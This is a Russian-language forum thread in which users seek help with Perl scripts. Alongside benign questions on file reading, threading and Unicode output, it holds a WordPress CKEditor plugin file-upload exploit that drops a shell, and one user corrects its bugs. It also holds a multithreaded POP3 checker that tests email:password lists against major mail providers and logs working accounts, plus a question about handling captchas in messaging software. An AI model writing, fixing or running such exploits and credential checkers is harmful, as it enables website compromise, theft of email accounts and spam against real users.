Shelly, Code: my @passes = loadf('passwords.txt'); while(1) { my $pass = shift @passes; if(!$pass) { exit; } print $pass."\n"; } sub loadf { open (F, "<".$_[0]) or erroropen($_[0]); chomp(my @data = <F>); close F; return @data; }
Спасиб, подобрал более компактный вариант perl.exe -T load_pass.pl pass.txt Code: use strict; use warnings; $|=1; open L,"<",$ARGV[0]; select((select(L), $|=1)[0]); print "\n\n"; while (<L>){ chomp $_; print "Pass:".$_."!\n"; } print "\n";
Набрасал небольшой парсер но что то ругаетсья perl.exe traf.pl site.txt Code: use strict; use warnings; use LWP; use LWP::Simple; use LWP::UserAgent; use HTTP::Cookies; $|=1; open L,"<",$ARGV[0]; select((select(L), $|=1)[0]); my ($site, $traf, $ua, $k); while (<L>){ chomp $_; $_ =~ s/^http:\/\///; my $site = $_; my $ua = LWP::UserAgent->new(cookie_jar => new HTTP::Cookies); $traf = $ua->get('http://counter.yadro.ru/values?site='.$site)->as_string; while ($traf =~ /LI_day_vis = (.+?);/g) { $k=$1; open(F, ">> log.txt"); print $site."\t\t".$k."\n"; print F "http://".$site."\t\t".$k."\n"; } close(F); } print "\n" поправил спасибо!
Переменная $ua не является объектом и не обладает методом get. Если хочется LWP::Simple, то пример тут есть http://search.cpan.org/~gaas/libwww-perl-6.04/lib/LWP/Simple.pm если LWP::UserAgent, то use LWP::UserAgent; ... $ua = new LWP::UserAgent; ... и т.д.
cmd.exe, кодировка сменена на UTF-8 -> chcp 65001, сам скрипт в кодировке utf-8. Такой скрипт: Code: use encoding 'utf8', STDOUT => 'utf8'; print "Большая строка в юникоде\n"; Выводит: Code: C:\Users\xxx\Desktop\script>chcp Active code page: 65001 C:\Users\xxx\Desktop\script>perl 1.pl Большая строка в юникоде а в юникоде коде �е How fix (шо за нах)? Как с русским то быть и кроссплатформенным приложением? _http://msdn.microsoft.com/en-us/library/windows/desktop/dd317756(v=vs.85).aspx
Как заставить каждый поток брать по строчке из файла? Загружать весь файл в массив неприемлимо. Чтото типа такого: Code: #!/usr/bin/perl -w use threads; open($fh,"test.txt"); # Массив для хранения ссылок на потоки my @threads; # Количество потоков my $threads = 20; # Создание потоков for (my $i = 0; $i < $threads; $i++){ push @threads,threads->new(\&threadproc,$i); } # Ожидание завершения потоков foreach my $thread (@threads) { $thread->join(); } # Поток sub threadproc { sleep rand 5; my $line = <$fh>; print $line; } UPD: Похоже так не сделать. (Хотелось бы услышать мнение Kaimi). Загрузил в массив. Работает отлично.
помогите ошибки исправить плз) Code: #!/usr/bin/perl use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO; - Wordpress plugin CKEditor 4.0 Arbitrary File Upload Exploit - Vuln found and exploit written by sk0d SOH-Crew - Contact: [email protected] - Greetings: bd0rk, RaSsGoR, x0r_32 INTRO print "Targethost: "; chomp (my $tar=<STDIN>); print "Directory: "; chomp (my $shell=<STDIN>); my $a = LWP::UserAgent->new; my $b = $a->request(POST $tar.'/wp-content/plugins/ckeditor-for-wordpress/includes/upload.php'; Content_Type => 'form-data', Content => [ NewFile => $shell ] ); if ($b->is_success) { if (index($b->content, "Disabled") != -1) { print "The webserver is manipulated with your shellcode.\n"; } else { print "Exploit failed! :(\n"; } else { print "Not connected with Target!\n"; } exit;
Как это было то... script kiddies, да... Code: #!/usr/bin/perl use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO; - Wordpress plugin CKEditor 4.0 Arbitrary File Upload Exploit - Vuln found and exploit written by sk0d SOH-Crew - Contact: sk0d\@web.de - Greetings: bd0rk, RaSsGoR, x0r_32 INTRO print "Targethost: "; chomp (my $tar=<STDIN>); print "Directory: "; chomp (my $shell=<STDIN>); my $a = LWP::UserAgent->new; my $b = $a->request(POST $tar.'/wp-content/plugins/ckeditor-for-wordpress/includes/upload.php', Content_Type => 'form-data', Content => [ NewFile => $shell ] ); if ($b->is_success) { if (index($b->content, "Disabled") != -1) { print "The webserver is manipulated with your shellcode.\n"; } else { print "Exploit failed! :(\n"; }} else { print "Not connected with Target!\n"; } exit;
Не работает прога на перле. Пишет: ******************************************************************* Using the default of SSL_verify_mode of SSL_VERIFY_NONE for client is deprecated! Please set SSL_verify_mode to SSL_VERIFY_PEER together with SSL_ca_file|SSL_ca_path for verification. If you really don't want to verify the certificate and keep the connection open to Man-In-The-Middle attacks please set SSL_verify_mode explicitly to SSL_VERIFY_NONE in your application. ******************************************************************* at C:\progi\perl\proga.pl line 192 thread 1. Где-то работает, а где-то нет. Вот, собственно, код: PHP: use warnings; use strict; use threads; use threads::shared; use IO::Socket; use IO::Socket::SSL; use Fcntl ':flock'; my $accounts_file = 'aki_suda.txt'; # Аккаунты my $accounts_delimiter = ':'; # Делимитер my $good_file = 'good.txt'; my $bad_file = 'bad.txt'; my $error_file = 'error.txt'; my $log_bad = 1; my $log_error = 1; my $timeout = 100; my $threads_count = 10; # Потоки ### --------- my %servers = ( 'rambler.ru' => { 'host' => 'pop.rambler.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'lenta.ru' => { 'host' => 'pop.rambler.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'myrambler.ru' => { 'host' => 'pop.rambler.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'autorambler.ru' => { 'host' => 'pop.rambler.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'ro.ru' => { 'host' => 'pop.rambler.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'r0.ru' => { 'host' => 'pop.rambler.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'yandex.ru' => { 'host' => 'pop.yandex.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'yandex.ua' => { 'host' => 'pop.yandex.ua', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'narod.ru' => { 'host' => 'pop.narod.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'ya.ru' => { 'host' => 'pop.yandex.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'ya.ua' => { 'host' => 'pop.yandex.ua', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'mail.ru' => { 'host' => 'pop.mail.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'bk.ru' => { 'host' => 'pop.bk.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'inbox.ru' => { 'host' => 'pop.inbox.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'list.ru' => { 'host' => 'pop.list.ru', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'gmail.com' => { 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'hotmail.com' => { 'host' => 'pop3.live.com', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'hotmail.co.uk' => { 'host' => 'pop3.live.com', 'port' => 995, 'ssl' => 1, 'login_email' => 1 }, 'yahoo.com' => { 'host' => 'plus.pop.mail.yahoo.com', 'port' => 995, 'ssl' => 1 }, 'yahoo.co.uk' => { 'host' => 'plus.pop.mail.yahoo.com', 'port' => 995, 'ssl' => 1 }, 'urk.net' => { 'host' => 'pop3.ukr.net', 'port' => 110, } ); my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0, 'cheak' => 0); my @threads = (); $| = 1; my @accounts : shared; (open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!"; push @accounts, $_ while <FH>; close FH; open FH, '>', $good_file; close FH; if ($log_bad) { open FH, '>', $bad_file; close FH; } if ($log_error) { open FH, '>', $error_file; close FH; } sub thread_print { my ($str) = "@_ [thread ".threads->tid()."]"; $str .= " " x (78 - length $str) if length $str < 79; print $str."\n"; $str = ''; $str .= "[ $_ - $statictis{$_} ]" for keys %statictis; print $str.'[threads: '.(scalar threads->list() + 1)."]\r"; } sub check_account { while (1) { last if !@accounts; my $account = lc shift @accounts; chomp $account; if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) { my ($login, $host, $password) = ($1, $2, $3); my $r_login = $login; my $sock; if ($servers{$host}) { $r_login = "$login\@$host" if ${$servers{$host}}{'login_email'}; if (${$servers{$host}}{'ssl'}) { eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); }; } else { eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); }; } } else { eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout); }; } if ($sock) { $sock->autoflush(1); my $answ; $answ = <$sock>; my $bad = 1; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "USER $r_login\n"; $answ = <$sock>; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "PASS $password\n"; $answ = <$sock>; if ($answ && substr($answ, 0, 1) eq '+') { print $sock "QUIT\n"; close $sock; $bad = 0; thread_print "[+] $login\@$host$accounts_delimiter$password"; { lock %statictis; $statictis{'good'}++; $statictis{'cheak'}++; } open FH, '>>', $good_file; flock FH, LOCK_EX; print FH "$login\@$host$accounts_delimiter$password\n"; flock FH, LOCK_UN; close FH; } elsif ($answ && $answ =~ /SYS\/PERM/) { $bad = 0; { lock %statictis; $statictis{'error'}++; $statictis{'cheak'}++; } thread_print "[~] $login\@$host$accounts_delimiter$password"; } } } if ($bad) { thread_print "[-] $login\@$host$accounts_delimiter$password"; { lock %statictis; $statictis{'bad'}++; $statictis{'cheak'}++; } if ($log_bad) { open FH, '>>', $bad_file; flock FH, LOCK_EX; print FH "$login\@$host$accounts_delimiter$password\n"; flock FH, LOCK_UN; close FH; } } } else { { lock %statictis; $statictis{'error'}++; $statictis{'cheak'}++; } thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!"; if ($log_error) { open FH, '>>', $error_file; flock FH, LOCK_EX; print FH "$login\@$host$accounts_delimiter$password #$?: $!\n"; flock FH, LOCK_UN; close FH; } } } } threads->exit->detach; } $threads_count = $#accounts if $#accounts < $threads_count; $threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1; $_->join for @threads; my $str; $str .= "[ $_ - $statictis{$_} ]" for keys %statictis; print "$str\n";
Значит почитай гугл и документацию по IO::Socket::SSL. Там указаны варианты: http://search.cpan.org/~sullr/IO-Socket-SSL-1.89/lib/IO/Socket/SSL.pm
Прошу помощи. Как сделать проверку, если в софте на каждое отправленное сообщение вылезает капча ? (на каждый запрос)
Проверку на то, вылезла ли капча? Зачем ее проверять, если она вылезает на каждое отправленное сообщение?
Да нужно сделать проверку на капчу. Просто если она вылезает на каждое сообщение например, то аккаунт к примеру блочим на время.